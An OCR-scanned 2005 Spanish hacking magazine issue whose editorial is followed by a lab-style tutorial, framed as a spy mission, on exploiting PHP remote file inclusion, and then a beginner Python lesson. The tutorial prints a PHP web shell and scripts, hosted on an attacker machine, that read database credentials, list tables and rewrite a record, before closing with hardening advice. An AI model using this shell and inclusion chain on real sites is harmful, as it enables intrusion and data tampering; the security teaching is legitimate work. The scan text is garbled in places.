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EDITORIAL

DESPEGA LA SEGUNDA ETAPA DEL PROYECTO HXC.
MUCHOS CAMBIOS Y UNA AMENAZA: LA “"LEY MORDAZA"

amigos de Hack x Crack, esta es la segunda vez que tengo el
escribir esta editorial.

r edltorlal te anunciabamos que toda una serie de cambios estaban
mino, pues bien, muchos de esos cambios ya son perfectamente
visibles y otros muchos estan en el punto de mira.

i

rimer cambio, el mas importante, el motor, el que ha permitido que este
ero esté en tus manos y contenga importantes mejoras... es un cambio
e no "se ve", es la apertura del proyecto HXC. Esta publicaciéon ya no
responsabilidad de un director y unos pocos colaboradores directos, el
oyecto HXC se ha abierto y ahora somos muchas las personas que
stamos colaborando, aportando nuestros conocimientos (cuanto creemos
aber), nuestro talento (si es que tenemos alguno), nuestro tiempo (muchas
oras robadas al suefio) y, en definitiva, empujando cuanto podemos y
tilizando todos los recursos que hay a nuestro alcance.

Portada (cambio de "logo"),
leta de la maquetacion
nos pendiente mejorar el aspecto
aportaciones y al trabajo de
ultade. Seguiremos avanzando

| segundo cambio, la cabecera de

de la revista, por fi

cada nuevo nimero
El tercer cambio, reactivacion los sgzdores de prﬂébas (servidores
de hack) para que puedas hacer las practicas propuestas en la revista
sin temor a incumplir la Ley. Este punto ha sido una cruz para esta revista,
en su dia se montaron los servidores PERO estaban mas tiempo fuera de
servicio que ON LINE. Bien, hemos trabajado mucho para encontrar una
solucion factible y finalmente creemos haberla encontrado. En este numero
hemos habilitado 4 servidores (dos escenarios completos) para que puedas
completar la practica propuesta en el primer articulo: HACKING
ESTRATEGIA. Visita nuestro foro y en concreto el enlace
http://www.hackxcrack.com/phpBB2/viewtopic.php?t=23301

En este enlace tienes toda la informacion necesaria sobre los Servidores
de Hack del Proyecto HXC.
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El cuarto cambio y caminando en la direccion de ha ‘\
posible, se ha "construido" en el foro (www.hackxcrack
Votaciones" donde ya se ha propuesto y resuelto la
portada de este nimero 28 NO fue decidida por ningun dire
por todos los integrantes del foro. No te pierdas la oportul
decidir sobre la revista, registrate en el foro y utiliza tu vo
llegue a ser como tu deseas.

Muchos cambios, si, muchos avances, si, muchas cosas buenas,
todavia hay muchos temas pendientes en los que ya estamos trab
y que esperamos presentarte para el proximo numero, estamos p
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en la atencién telefénica, en los pedidos,
si queremos aumentar las paginas de
un sistema de Bandeja de Entrada
responder TODOS los mails que
al tiempo, ahora tenemos "e
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Capitulo 1

HACHING

Hacking Estrategia

Bienvenidos a esta serie de articulos en los que aprenderemos diversas técnicas de intrusion usadas

en la realidad bajo un marco de suspense y con una trama y escenarios ficticios que te situaran

junto al atacante, nos convertiremos en agentes especiales y se nos entregara una mision que
deberemos llevarla al éxito.

Soy CrashCool y os doy la bienvenida a hacking de estrategia. ;)

Documento de la mision:

Wadalberto, jefe de WADAL SL y principal sospechoso

Mucha suerte en su misién

bLa Web de WADAL SL se encuentra en http://172.16.1.2

Mision 1: Tendiendo una trampa a wadalberto

Necesitamos que altere la base de datos de WADAL SL y modifique la direccion de entrega de un pedido que sospe-
chamos es ilegal, debera modificar el lugar de entrega para que podamos tenderle alli una trampa y capturar a

A continuacidn le doy los datos técnicos que nuestros agentes han conseguido:

»Tanto el sistema de pedidos como la Web de la compafia comparten el mismo servidor de bases de datos, solo
es posible acceder a dicho servidor desde las propias oficinas de la empresa o desde el servidor Web donde se
aloja la pagina de la empresa, ambos servidores corren Linux como sistema operativo.

»El pedido se entregaréa el dia 12/05/05,el lugar y hora de entrega es desconocido y debera averiguarlo, segui-
damente debera modificarlo siendo el nuevo destino: C\Secreta N 99 — Wadalbertia

1- Trazando el esquema de ataque

Tenemos que infiltrarnos en el servidor de bases de datos,
la Unica manera de hacerlo es desde el servidor Web o
desde las oficinas de WADAL SL.

Deslizarnos desde un helicédptero por la rejilla de
ventilacidn del edificio de WADAL.SL para acceder a las ofi-
cinas y procurar que no se nos caiga la gota de sudor al
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suelo, se lo dejaremos a Tom Cruise, nosotros vamos a in-
tentar infiltrarnos en la base de datos desde el servidor
Web.

El escenario se nos presenta asi: (ver imagen 1)
Lo que haremos sera lo siguiente:
P Nos infiltraremos en el servidor Web

P A través de ahi conectaremos con el servidor
BBDD

PC Paso a Paso 3
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servidor Web

http:172.16.1.2

Servidor BBDD
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mos resultados, auditaremos cada uno de
los servicios que corra el servidor.

Vistamos la Web para comenzar la audi-
toria de la aplicacion.

http://172.16.1.2 (ver imagen 2)

Visitamos las distintas secciones de la
Web y nos fijamos en el enlace de cada
seccién:

http://172.16.1.2/index.php?seccion=i
nicio.html

http://172.16.1.2/index.php?seccion=
empresa.html

http://172.16.1.2/index.php?seccion=
procuctos.html

http://172.16.1.2/index.php?seccion=
contacto.html

Esto nos hace sospechar que nos en-
contramos ante un peligroso error de
programacion, mas conocido como re-
mote file inclusion , la base de este bug
es la inclusion de un archivo en el codi-
go de la Web, el cual se ejecutara en el
propio servidor.

Podemos deducir que en el cédigo de
index.php encontraremos en alguna
parte algo parecido a esto:

<?php
include($_GET['seccion']);
?>

Como podemos ver seccion es una va-
riable que se recoge con GET y se inclu-
ye el nombre del archivo que contenga.
Asi pues, esto:

http://172.16.1.2/index.php?seccion=
empresa.html

equivaldria a:

Imagen 2 <?php
include('‘empresa.html');
b Visualizaremos las bases de da- b Alteraremos la tabla y finaliza- ?>

tos alojadas para seleccionar la
que nos resulte sospechosa de
ser la encargada de alojar los pe-
didos.

remos el ataque.

2- Preparando el ataque
b Visualizaremos las tablas de esa
base de datos y haremos una
consulta a dicha tabla para visua-
lizar su contenido

Lo primero que haremos sera una audito-
ria al servidor, para ello primero auditare-
mos la aplicacion Web y si no consegui-

4 PC Paso a Paso

La sentencia include de PHP permite por
defecto incluir archivos remotos, si
montaramos un servidor Web en nues-
tro PC http://172.16.1.45 y guardara-
mos empresa.html en el directorio raiz
de nuestro servidor, al acceder a:
http://172.16.1.2/index.php?seccion=
http://172.16.1.45/empresa.html| no
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notariamos diferencia alguna que acce-
der por http://172.16.1.2/index.php?
seccion=empresa.html , pero si vamos
mas alla, éQué pasaria si creamos un
script en PHP? el cdédigo que programe-
mos se ejecutaria en el servidor Web.

2.1 Diseflando los scripts para la
mision

Una vez que podemos ejecutar cédigo
arbitrario dentro del servidor, tenemos

acceso a él, y por tanto al servidor
BBDD.

Sabemos que la Web comparte el mis-
mo servidor de bases de datos que con-
tiene el pedido que tenemos que modifi-
car, por tanto en algun lugar la aplica-
cion Web conectara con dicho servidor
BBDD y por tanto tendra los datos de
acceso , es decir el nombre de usuario,
contrasena e IP del servidor BBDD.

Para localizar dichos datos tendremos
que navegar tanto por el directorio de la
Web, como tener la posibilidad de ver el
fuente de los archivos contenidos en él.

La forma de acceso que tenemos es por
medio del bug de RFI (Remote File
Inclusion) asi que la forma de realizar
dichas acciones serd mediante la
programacién y posterior inclusion de
scripts en PHP.

Necesitamos pues:

P Script que nos liste los archivos

del directorio Web

P Script que nos muestre el con-

tenido de un archivo
Para esta labor explicaré 2 posibilida-
des, hacer uso de funciones propias de
PHP para dicho fin o bien utilizar funcio-
nes de ejecucion de comandos , que
seria algo asi como utilizar la funcién
system de C; que nos permitiria ejecu-
tar comandos como los que ejecutaria-
mos en una shell de dicho servidor, con
los permisos claro esta de los que cons-
te el usuario bajo el que corriera el ser-
vidor Web.

2.1.1 Usando funciones de
ejecucién de comandos

El problema de estas funciones es que
al ser bastante peligrosas para la segu-
ridad de un servidor, por regla general
en una proteccion decente, estan espe-
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Imagen 4

cificamente deshabilitadas; o bien las
inhabilitaran indirectamente configurado
PHP en modo seguro.

El uso de alguna de estas funciones pa-
ra nuestra mision nos solucionaria los
dos scripts que tenemos que progra-
mar:

Para el listado de archivos:

<?php
system('ls');
?>

Para visualizar el contenido de un archivo:

<?php
system('cat archivo.php');
?>

o siendo mas practicos:

<?php

//shell.php
system($_GET['comando']);
?>

Para configurarlo en modo seguro editaremos php.ini y mo-
dificaremos el valor de safe_mode:
; Safe Mode

safe_mode = On

PC Paso a Paso

y lo usariamos : shell.php?comando=
[aqui el comando]

2.1.2 Usando funciones de php

Con esta técnica nos saltaremos las res-
tricciones que supone el uso de funcio-
nes de ejecucion de comandos y podre-
mos continuar la misidon aun con PHP en
modo seguro.

Script que muestra el listado de un di-
rectorio:

<?php

//dir.php

$directorio=opendir(".");

while ($archivo = readdir($directorio))

echo "$archivo<br>";
closedir($directorio);
?>

El script abre el directorio actual, lee
cada archivo que se encuentre en él y lo
muestra por pantalla.

Un curso de programacién PHP se escapa del ambito del ar-
ticulo; podras encontrar uno en revistas anteriores, o bien
hacer uso del buen amigo Google para profundizar mas en
este fantastico lenguaje.
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<?php

include("db.php");

$cnx=mysql_connect($servidor,$user,$password);
$dbs = mysqgl_query("SHOW DATABASES");

echo "<table width=\"100\" border=\"1\">\n";
echo "<tr><td><b>DB</b></td></tr>\n";

while($db = mysql_fetch_row($dbs))<{
echo "<tr>\n";
echo "<td>".$db[0]."</td>\n";
echo "</tr>\n";

}

echo "</table>\n";

mysql_close($cnx);

?>

Listado 1
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http://172.16.1.2/index.php?seccion=
http://172.16.1.45/dir.php

Obtendriamos como salida el listado del
directorio de nuestro servidor, ya que el
servidor de WADAL SL haria la peticidn
de dir.php a nuestro servidor y éste al
tener una extension ejecutable por el
servidor entregaria la salida del script,
0 sea el listado de nuestro directorio.

Elegimos como extension, por ejemplo
dir.inc y cat.inc , seguidamente lo eje-
cutamos obteniendo el listado del di-
rectorio de la Web de WADAL SL

http://172.16.1.2/index.php?seccion=
http://172.16.1.45/dir.inc

(ver imagen 3)

Sabemos que desde index.php se tiene
acceso a la base de datos, por lo que o
bien los datos de acceso se encuentran
en index.php o bien en algun archivo
secundario. Viendo los archivos, nos lla-
ma la atencién db.php , veamos su con-
tenido haciendo uso de cat.php

http://172.16.1.2/index.php?seccion=

Imagen 5

v

<?php

include("db.php");

$cnx=mysql_connect($servidor,$user,$password);

mysql_select_db("gestion_pedidos",$cnx);

echo "<table width=\"100\" border=\"1\">\n";
echo "<tr><td><b>TABLA</b></td></tr>\n";
$tablas=mysql_query("SHOW TABLES");
while($tabla = mysql_fetch_row($tablas)){

echo "<tr>\n";
echo "<td>".$tabla[0]."</td>\n";
echo "</tr>\n";

b

echo "</table>\n";

mysql_close($cnx);

?>

Listado 2

Script que muestra el contenido de un
archivo:

<?php

show_source($_GET['archivo']);
?>

3 Iniciando el ataque

En nuestro PC arrancamos el Apache (o
cualquier otro servidor Web) y situamos

en el directorio raiz los archivos dir.php
y cat.php , usaremos éstos en lugar de
shell.php por motivos explicados ante-
riormente.

Lo primero que haremos sera renom-
brar estos archivos a una extension in-
ventada, que nuestro servidor Apache
no sea capaz de reconocer, épara qué?
si incluyéramos los archivos en el servi-
dor de WADAL SL tal que asi:

PC Paso a Paso

http://172.16.1.45/cat.inc&archivo=db
.php (ver imagen 4)

El contenido del archivo db.php es el
buscado ;)

Ya estamos en disposicion de adentrar-
nos en el servidor BBDD.

3.1 Infiltrédndonos en el servidor
bbdd

Seria muy sencillo introducir esos datos
en nuestro phpMyAdmin y gestionar di-
rectamente la base de datos desde
nuestro PC, pero tenemos constancia de
que el servidor de base de datos solo
puede ‘hablar’ con el servidor Web y
con las oficinas de WADAL SL, asi que
tendremos que continuar desarrollando
la misidn a través del pequefio gran bug
de inclusidn.

3.1.1 Visualizando las bases de da-
tos del servidor bbdd

Ahora programaremos un script que vi-
sualizard las bases de datos del servi-

En los siguientes puntos 'hablaremos' con el servidor BBDD a tra-
vés de consultas SQL, podrés encontrar un curso excelente en
http://www.hackxcrack.com/phpBB2/viewtopic.php?t=12222
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B
<?
/* campos.php */
include("db.php"); //incluimos los datos de acceso
$cnx=mysql_connect($servidor,$user,$password); //conectamos al servidor
mysql_select_db("gestion_pedidos",$cnx); //seleccionamos la base de datos
$campos=mysql_query("DESCRIBE pedidos_pendientes"); //ejecutamos la sentencia
echo "<table width=\"100\" border=\"1\">\n";
echo "<tr><td><b>CAMPO</b></td><td><b>TIPO</b></td>\n";
while($campo= mysql_fetch_row($campos)){ //visualizamos cada uno de los campos
echo "<tr>\n";
echo "<td>".$campo[0]."</td><td>".$campo[1]."</td>\n";
echo "</tr>\n";
b
echo "<table>\n";
mysql_close($cnx); //cerramos la conexion

?>
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dor, para ello tendremos que conectar
con el servidor y ejecutar la consulta
SQL “SHOW DATABASES”(ver listado1)

Ahora incluiremos este script en el ser-
vidor de WADAL SL previo cambio de
extension.

http://172.16.1.2/index.php?seccion=htt
p://172.16.1.45/dbs.inc

(ver imagen 5)

Excelente, hemos obtenido las bases de
datos que alberga el servidor BBDD:

gestion_administrativa, ges-
tion_empleados, gestion_pedidos,
web_empresa

Las 3 primeras podrian ser pertenecien-
tes a la empresa y la ultima pertene-
ciente a la Web, asi pues la informacion
que nos daban en la mision era cierta y
probablemente la base de datos que al-
berga los pedidos es la tercera (ges-
tion_pedidos)

3.1.2 Visualizando las tablas de la
base de datos “gestion_pedidos”

Para ello procederemos de igual forma,
ejecutando la sentencia SQL “SHOW
TABLES” (ver listado2)

Ahora incluiremos este script en el ser-
vidor de WADAL SL previo cambio de
extension.

http://172.16.1.2/index.php?seccion=
http://172.16.1.45/tablas.inc

(ver imagen 6)

Las tablas que contiene la base de datos
gestion_pedidos son:

pedidos_rechazados, pedi-
dos_pendientes, historial_pedidos

Llegados a este punto de intrusion esta-
mos a un paso de completar con éxito
la mision, hemos localizado la tabla que
contiene los pedidos pendientes, tan so-
lo nos queda ver la estructura de dicha
tabla, visualizar y modificar el pedido.

3.1.3 Visualizando la estructura de
la tabla ‘pedidos_pendientes’

Esto se consigue ejecutando la
sentencia SQL "DESCRIBE
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<?
/* pedido.php */
include("db.php"); //incluimos los datos de acceso
$cnx=mysql_connect($servidor,$user,$password); //conectamos al servidor
mysql_select_db("gestion_pedidos",$cnx); //seleccionamos la base de datos
$pedidos=mysql_query("SELECT * FROM pedidos_pendientes WHERE dia='2005-05-12"");
echo "<table width=\"100%\" border=\"1\">\n";
echo "<tr><td><b>DIA</b></td><td><b>HORA</b></td>";
echo "<td><b>LUGAR</b></td><td><b>PRODUCTO</b></td>\n";
while($pedido= mysq|l_fetch_row($pedidos)){ //visualizamos cada uno de los campos

echo "<tr>\n";

foreach ($pedido as $campo)

echo "<td>".$campo."</td>\n";

echo "</tr>\n";
echo "<table>\n";
¥
mysql_close($cnx); //cerramos la conexion
?>

Listado 4

@

<?php
//modificacion.php
include("db.php"); //incluimos los datos de acceso
$cnx=mysql_connect($servidor,$user,$password); //conectamos al servidor
mysql_select_db("gestion_pedidos",$cnx); //seleccionamos la base de datos
$query="UPDATE pedidos_pendientes SET lugar="

"'C\\\\Secreta N 99 Wadalbertia" WHERE dia ='2005-05-12"";
mysql_query($query);
mysql_close($cnx); //cerramos la conexion
?>

Listado 5

Grchive ZdEsr Yer Ir Marcscores HercamoEnges s i

ool an Iy 9 Dol a0

-
e
.'..'d-.h:u.- Jll.'i.l.f..l.ill-l\];.'.: -.Iupr;.-:u..:-.-- wmbiip 0132 J.t.]..ia';l\.:lﬁ.d:..ll;'. ) k a-

(] P11
A0C505-122

HORA
100000

LUGAR
DSarrats M B8 Wadalbeartia

FRODUCTO
C3E7S-TE

Tarminado

Imagen 9

<?php

$seccion=$_GET['seccion'];

switch($seccion)

{
case 'inicio': include("inicio.htmlI"); break;
case 'empresa': include("empresa.html"); break;
case 'productos': include("productos.html"); break;
case 'contacto': include("contacto.html"); break;
default: include("404.shtml");

?>

Listado 6
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pedidos_pendientes”, procedamos a la
programacion del script:(ver listado3)

Seguidamente lo incluimos, previo cam-
bio de extensidn.

http://172.16.1.2/index.php?seccion=
http://172.16.1.45/campos.inc(ver
imagen 7)

Y obtenemos que los campos de la tabla
pedidos_pendientes son: dia, hora, lu-
gar, producto.

Ya solo nos queda ejecutar la consulta
para listar los pedidos del dia 12/05/05.

3.1.4 Visualizando los pedidos del
dia 12/05/05

Lo primero serd construir la sentencia
SQL que nos listara los pedidos:

SELECT * FROM pedidos_pendientes
WHERE dia=2005-05-12

Y seguidamente el script que la ejecu-
te:(ver listado 4)

Lo incluimos:

http://172.16.1.2/index.php?seccion=
http://172.16.1.45/pedido.inc

(ver imagen 8)

Y ahi esta!!

Rapidamente apuntamos los datos en
nuestro informe, y procedemos a modi-
ficar la direccion del pedido a C\Secreta
N 99 - Wadalbertia

3.1.5 Modificando la direccion del
pedido

Formamos la ultima sentencia SQL que
nos permitird finalizar la mision:

UPDATE pedidos_pendientes SET lu-
gar='C\Secreta N 99 Wadalbertia'
WHERE dia ='2005-05-12"

Y creamos el script que la ejecuta: (ver
listado 5)

La ejecutamos:

El formato de fecha para un campo date es: afio-mes-dia
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http://172.16.1.2/index.php?seccion=

http://172.16.1.45/modificacion.inc

Por ultimo volvemos a usar el script pe-
dido.php para asegurarnos de la
modificacién llevada a cabo.

http://172.16.1.2/index.php?seccion=

http://172.16.1.45/pedido.inc
(ver imagen 9)

iLo conseguimos!

Mision completada

Gracias a su infiltracion hemos
logrado intervenir un cargamento
de embudos que escondia 12
millones de euros en diamantes.
Wadalberto, tunico detenido, ha
pasado a disposicidon judicial.

4 Protegiéndonos de este ti-
po de ataques

Como veis un simple error de
programacién Web (RFI) , nos ha per-
mitido realizar una infiltracién hasta el
mismo servidor de bases de datos de la
empresa, nosotros hemos alterado un
dato, pero de igual manera podriamos
haber sacado un completo back-up o in-
cluso borrar el contenido de todas las
tablas, y todo debido a un error de
programacion, éves la importancia que
tiene la programacion segura?

4.1 Por parte del programador de la
web

Lo principal es concienciarnos de la im-
portancia que tiene la programacion se-
gura, la anterior empresa ficticia pudo
haber frenado nuestro ataque con unas
recomendaciones que veremos a
continuacioén.

Evitando a toda costa la inclusién de va-
riables dentro de un include, inclu-
de_once, require, require_once sin an-
tes verificar su contenido.

<?php

include($_GET['seccion']);

?>

Para este caso verificariamos que la va-
riable $seccion solo contenga archivos
del propio directorio de la Web, median-
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te funciones como file_exists() y trata-
miento de cadenas para evitar que con-
tenga lugares externos (http:// , ftp://
)

Si queremos tener la total seguridad,
podemos usar un switch que contemple
todos los posibles valores permitidos de
la variable $seccion y asociarlos a un
archivo a incluir:(ver listado 6)

La sentencia de dispersion evaluaria el
valor de la variable $seccion e incluiria
el archivo al que le asociamos, contando
que se usara este script en la web de la
mision los enlaces podrian quedar asi:

http://172.16.1.2/index.php?seccion=inicio
http://172.16.1.2/index.php?seccion=noticias

Con esto ya no habria peligro alguno de
remote file inclusion , ademas al no in-
cluir en el enlace la propia extensién
( para el ejemplo: .html) como pasaba
antes, evitaremos que nuestra Web se
visualice como un claro objetivo.

Otra recomendacion es evitar que se
muestren errores de nuestras funciones
para evitar que el atacante consiga
informacion, se consigue anteponiendo
@ a la funcién:

@include(....) , @mysql_connect(..),
@mysql_query(...) ... etc.

De esta forma, aunque dentro del inclu-
de vaya un archivo inexistente, no se
visualizarian los errores al visitar la
web.

4.2 Por parte del administrador del
servidor

Para lograr frenar ataques de este tipo
y evitar al maximo las infiltraciones se-
guiremos unos consejos basicos:

P Ejecutar PHP/Apache en un
usuario con los minimos privi-
legios necesarios.

El cédigo PHP que ejecutemos a

si te interesa el tema de la programacion segura en PHP,

puedes visitar la web http://phpsec.org (PHP Security
Consortium) la cual estd completamente dedicada a la
difusion de la programacién segura en PHP.
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través de RFI se ejecutara con
estos permisos, imaginad qué pa-
saria si el servidor se ejecutara
por un usuario con privilegios de
root y un atacante consiguiera ac-
ceso por RFI

» PHP en modo seguro:

Deshabilita o restringe funciones
consideradas peligrosas, puedes
encontrar la lista detallada en
http://es2.php.net/features.safe-
mode

Se consigue activandolo desde
php.ini (Safe_mode=0n)

b Deshabilitar el acceso remo-
to a archivos

De esta forma al atacante le serd
imposible incluir archivos remotos,
se consigue modificando el valor
de allow_url_fopen en php.ini:

; Whether to allow the treatment of
URLs (like http:// or ftp://) as files.
allow_url_fopen = Off

P Usando Mod_security

Mod_security es un mddulo para
Apache que funciona como un sis-
tema de deteccidn de intrusos a
nivel de pedidos HTTP, con las re-
glas adecuadas puede prevenir
infinidad de ataques.

Puedes encontrar mas informa-
cidén sobre esta utilidad y algu-
nos ejemplos de reglas en
http://www.hackxcrack.com/php
BB2/viewtopic.php?t=20732

5 Despedida

Esta ha sido la primera misidn, espero
que os haya gustado y haya despertado
en vosotros una curiosidad que os lleve
a seguir investigando y profundizando.

Os espero en la préoxima, en un escena-
rio distinto, con mas técnicas de
infiltracion usadas en la realidad, os es-
pero aqui, en hacking de estrategia.

Autor: CrashCool

éQuieres practicar este argiculo en lavida REAL?
ési? ... entonces... ¢éA QUE ESTAS ESPERANDO?

Hemos preparado 4 servidores (dos escenarios) para que
puedas hacer la practica sin temor a represalias legales.
Tienes la informacidon necesaria en ESTE enlace:

http://www.hackxcrack.com/phpBB2/ viewtopic.php?t=23301
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Curso de Python

Por Moleman (a.k.a Héctor M.)

Bienvenido al Episodio 2 de este Curso de Python. Si os gusté el primero este os encantara. Y sin

mas dilacion entremos al trapo.

Para no perder las buenas costumbres aqui van los progra-
mas regalito de la casa.

echo-server.py

#!/usr/bin/env python
import socket,sys

def eco(conn,dir_conn):
print 'Aceptando conexion de:',dir_conn[0],'en puerto:',dir_conn[1]
while 1:
data=conn.recv(1024)
if not data: break
conn.send('Echo -> '+data)
conn.close()
print 'Fin de conexion de:',dir_conn[0],"n'
if (len(sys.argv)!=2):
print './echoserver.py [puerto]'
sys.exit(10)
maquina="
puerto=int(sys.argv[1])
s=socket.socket(socket. AF_INET, socket.SOCK_STREAM)
s.bind((maquina,puerto))
s.listen(5)
while 1:
conn,dir_conn=s.accept()

eco(conn,dir_conn)

sys.exit(10)
elif len(sys.argv)>3:
mens=sys.argv[3:]
print sys.argv
maquina = sys.argv[1]
puerto=int(sys.argv[2])
print 'Conectando a',maquina,'...'
s=socket.socket(socket. AF_INET, socket. SOCK_STREAM)
s.connect((maquina, puerto))
for linea in mens:
s.send(linea)
data=s.recv(1024)
print 'Recibido:',data
s.close()

echo-client.py

En el anterior articulo comente que nos quedaban unos
cuantos tipos de datos por comentar. Estos son: listas, dic-
cionarios y tuplas.

Primero haremos una breve revisién y ampliacién.

Tipo de datos cadena

Ya comentamos las cadenas. Una cadena es simplemente
un conjunto de caracteres entrecomillado.

Las funciones que podemos usar con cadenas son:

#!/usr/bin/env python
import sys,socket

mens=["Saludos..."]

int(): convierte una cadena que representa un entero en un entero
float(): convierte una cadena “flotante” en un flotante

str(): el inverso de los dos anteriores

ord(): coge una cadena de un solo caracter y devuelve su ASCII entero
chr(): coge un entero entre 0 y 255 y devuelve el caracter corres-

if len(sys.argv)<3: pondiente en ASCII
print './echoserver.py [ip] [puerto] (mensajel | mensaje2 | ... | mensajeN)’ len(): imprime la longitud de la cadena que se le pase (el
numero de caracteres)
10 PC Paso a Paso Abril 2005 / n® 28
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Métodos

También disponemos de los métodos.

“Antiguamente” para operar con cade-
nas se usaban las funciones del médulo
string, mas ahora dicho mddulo ha que-
dado obsoleto. Para sustituirlo existen
los métodos.

Un método es simplemente una
operacion sobre una o varias cadenas.
Se invocan asi: cadena.método() (con
parametros si los requiere)

>>> cadena='Mi cadena’
>>> print cadena.upper()
MI CADENA

>>>

El método upper() por ejemplo, con-
vierte en mayusculas el contenido de
una cadena. Otros métodos usados son
por ejemplo: lower() que convierte en
minusculas, split() que corta la cadena
por cada separador dado y la convierte
en una lista o replace() que sustituye
los caracteres que se especifiquen de
una cadena por otros también especifi-
cados. Segun vayamos viendo algunos
los iremos explicando aunque si tenéis
curiosidad podéis usar la funcion dir().
Esta funcidén devuelve los métodos de
un tipo de datos dado (vale para cade-
nas, listas, diccionarios,...). Veamos su
uso:

>>> cadena='Mi cadena’
>>> dir(cadena)

[' add_',' class_',' contains_ ',
' delattr ',' doc_',' eq ',' ge ',
' getattribute',' getitem_ ', ' get-
newargs ', ' getslice ',' gt ',
' hash_')' init ' le "' len_ ',

"It ', mod ' mul ',' ne ',
' new_ ',' reduce ',' reduce ex ',
' repr ', ' rmod_',' rmul ',
' setattr',' str ', 'capitalize', 'center’,

'count', 'decode’, 'encode’, 'endswith',
'expandtabs', 'find', 'index', 'isalnum’, 'isal-
pha', 'isdigit', 'islower’, 'isspace', 'istitle', 'isu-
pper', 'join', 'ljust', 'lower", 'Istrip', 'replace’,
'rfind', 'rindex’, 'rjust’, 'rstrip', 'split’, 'splitli-
nes', 'startswith', 'strip’, 'swapcase', 'title',
'translate’, 'upper', 'zfill']

>>>

Estos serian todos los métodos y funcio-
nes asociados a las cadenas en general.
Si hiciéramos dir() con una lista saldrian
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los métodos y funciones asociados a las
listas.

También indicar que podemos acceder a
un caracter especifico de la cadena indi-
candole la posicion del caracter, empe-
zando a contar desde el cero, entre cor-
chetes. Asi:

>>> cadena='Mi cadena'
>>> print cadena[4]

a

>>>

Imprimimos la posicion 4, que corres-
ponde al quinto caracter de la cadena,
en este caso la “"a”. Dentro de este mis-
mo apartado tenemos que comentar el
operador slice (corte) que se represen-
ta con dos puntos (:). Este operador
nos sirve para seleccionar un rango de
elementos. Asi:

>>> cadena='Mi cadena'
>>> print cadena[3:6]
cad

>>>

mostramos las letras de la 3 ala 5. La
teoria es asi: el slice selecciona todos
los elementos entre [x:z-1]. Si omiti-
mos el primer valor ([:z]) contara desde
cero hasta z-1 y si omitimos el ultimo
([x:]) contara desde x hasta el final.
Sencillo y util.

Continuemos.

Tipo de datos lista

Una lista en un conjunto de datos de
cualquier tipo (incluso de varios tipos
diferentes al mismo tiempo), y se decla-
ra entre corchetes ([]). Veamos un
ejemplo:

>>> lista=[2,'hola']
>>> print lista

[2, 'hola"]

>>>

Como vemos, hemos creado una lista
gue contiene un entero y una cadena y
luego la hemos imprimido entera. Si
quisiéramos imprimir sélo un elemento
de la lista deberiamos indicarle la
posicidn del elemento a imprimir.

= lista=[2,'hola',3.14159]
>>> print lista[1]
hola
>>>
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Los elementos se enumeran empezando
por el cero, por lo que si queremos im-
primir el 'hola', tenemos que indicarle
que imprima el elemento uno (la lista
contiene tres elementos: cero, uno y
dos). Incluso si el elemento al que acce-
diéramos dentro de la lista fuera una
cadena podriamos acceder a un caracter
especifico dentro de la cadena, dentro
de la lista. Mucho lio? Un ejemplo:

[ >>> lista=[2,'hola’,3.14159]
>>> print lista[1][3]
a
>>>

Hemos accedido a la cadena 'hola' y
luego hemos accedido a la cuarta letra
de la cadena, la “0" 1)

Ademas podemos usar el slice con las
listas.

Las listas también tienen métodos pro-
pios para operar con ellas. Si hacemos
un dir()

>>> dir(lista)

[' "add__',' class_',' contains__',
' delattr ', deli- tem ',
' delslice',' doc_',' eq ',

' ge ',' getattribute_ ',' getitem ',
' getslice ', ' gt ',' hash_ ',
' dadd_',' imul_ ',

'init__ "' iter_ ', ' le_ ",' _len__',
ot ' mul_ ' ne_ ', _new__ ',
' reduce_ ', ' reduce_ex_ ',' re-
pr_',' rmul_ ',' setattr ',' seti-
tem_ ',' setslice ',' str ', 'append',
'count', 'extend’, 'index', 'insert', 'pop', 'remo-
ve', 'reverse', 'sort']

>>>

Por ejemplo, append() afiade un ele-
mento al final de la lista. segin veamos
los métodos iremos explicandolos.
También pueden usarse los operadores
de concatenacion (+), repeticidn (*) y
la funcion len() de las cadenas sobre las
listas. Para borrar un elemento de la lis-
ta usaremos: del lista[indice]

Tipo de datos tupla

Una tupla es a todos los efectos lo mis-
mo que una lista con una importante di-
ferencia: las tuplas son inmutables.
Son constantes. Una vez declarados sus
valores ya no podran ser cambiados

1
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(con una pequefia excepcidén que co-
mentaremos.)

Una tupla se declara igual que una lista
salvo que se usan paréntesis en lugar
de corchetes:

>>> tupla=(9,'hola")
>>> print tupla
(9,'hola")

>>>

La tuplas no tienen métodos asociados.
Si se diera el caso de necesitar modifi-
car una tupla, disponemos de las fun-
ciones tuple() y list(). List() convierte
una tupla en una lista con lo que podre-
mos modificarla a nuestro antojo, y tu-
ple() realiza justo lo contrario: convertir
una lista en una tupla.

Tipo de datos
diccionario

Pensemos en un diccionario de Inglés-
Espafiol. Buscas una palabra en inglés y
tienes la equivalencia en castellano.
Pues eso mismo es un diccionario.

Un diccionario es igual que una lista so-
lo que cada elemento esta compuesto
de un indice y su elemento asociado.
Una lista es lo mismo pero el indice es
numérico, y no figura visiblemente
mientras que en un diccionario si es vi-
sible y lo ponemos nosotros. Veamos:

>>> dicc={'hola"'adios',978:"'jeje'}
>>> print dicc

{978: 'jeje', 'hola": 'adios'}

>>> print dicc['hola']

adios

>>>

Los diccionarios se declaran entre Ilaves
y cada par se separa entre si por dos
puntos y entre cada par por comas.
Para seleccionar un par basta con indi-
carlo entre corchetes como si fuera el
indice de una lista como podemos ver.
Disponen de sus propios métodos que
podremos ver con dir() y también pode-
mos usar del() para borrar un elemento
en particular como en las listas.

>>> del(dicc['hola'])
>>> print dicc
{ljaja": ljeje'}

>>>

12

Crear nuestras
propias funciones

Bueno, después de todo el pefiazo con
los tipos de datos vamos a cambiar de
tercio y aprenderemos como crear fun-
ciones dentro de nuestro cédigo. Las
funciones son una forma de reutilizar
cbédigo ya que puedes llamarlas o im-
portarlas desde otro programa siempre
que las necesites.

Crear una funcion es muy sencillo. Tan
solo:

def nombre_funcidén(parametros):

intrucciones

La funcién acaba cuando se deja de ta-
bular. Los parametros de entrada son
opcionales. Se ponen si necesitamos
pasarle datos a la funcion desde el ex-
terior. Veamos un par de ejemplos y os
lo aclarara. Veréis que no tiene mayor
compliacién:

>>> def funcion():

print 'Probando funcion...'

>>> funcion()

Probando funcion...

>>>

Creamos la funcion y luego simplemen-
te la llamamos. Esta funcién no necesi-
taba parametros pero y si quisiéramos
pasarle datos?

>>> def funcion(x,y):

print x*y

>>> funcion(3,4)
12
>>>

Sencillo. Le indicamos los parametros
que necesita para funcionar y luego
operamos con ellos. Y si necesitamos
